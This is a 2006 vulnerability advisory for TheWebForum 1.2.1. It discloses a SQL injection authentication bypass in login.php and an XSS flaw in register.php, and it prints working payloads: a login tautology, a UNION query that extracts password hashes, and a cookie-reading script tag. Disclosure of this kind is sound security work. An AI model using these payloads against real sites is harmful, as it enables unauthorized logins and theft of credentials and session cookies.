New eVuln Advisory: TheWebForum Script Insertion and Authentication Bypass --------------------Summary---------------- Vendor: TheWebForum Group Software: TheWebForum Sowtware's Web Site: http://sourceforge.net/projects/twf/ Versions: 1.2.1 Critical Level: Moderate Type: Multiple Vulnerabilities Class: Remote Status: Unpatched Exploit: Available Solution: Not Available Discovered by: Aliaksandr Hartsuyeu (eVuln.com) Published: 2006.01.06 eVuln ID: EV0017 -----------------Description-------------- TheWebForum has multiple vulnerabilities. 1. SQL injection and authentication bypass. Vulnerable script: login.php Variables $_POST['username'] or $u isn't properly sanitized before being used in a SQL query. This can be used to make any SQL query by injecting arbitrary SQL code and log in without password. SQL Injection Condition: gpc_magic_quotes=off 2. Cross-Site Scripting Vulnerable script: register.php Variable $www isn't properly sanitized and may contain arbitrary html or script code. --------------Exploit--------------------- Authentication bypass example (SQL Injection): http://host/twf/login.php User Name: a' or 'a'='a'/* Password: anypassword Get user's password hash example (SQL Injection): http://host/twf/login.php User Name: a' union select N,password,3 from users/* User name will contain password's hash of user with ID=N JavaScript insertion (XSS): http://host/twf/register.php Website value: <script>alert(document.cookie)</script> --------------Solution--------------------- No Patch available. --------------Credit--------------------- Original Advisory: http://evuln.com/vulns/17/summary.html Discovered by: Aliaksandr Hartsuyeu (eVuln.com)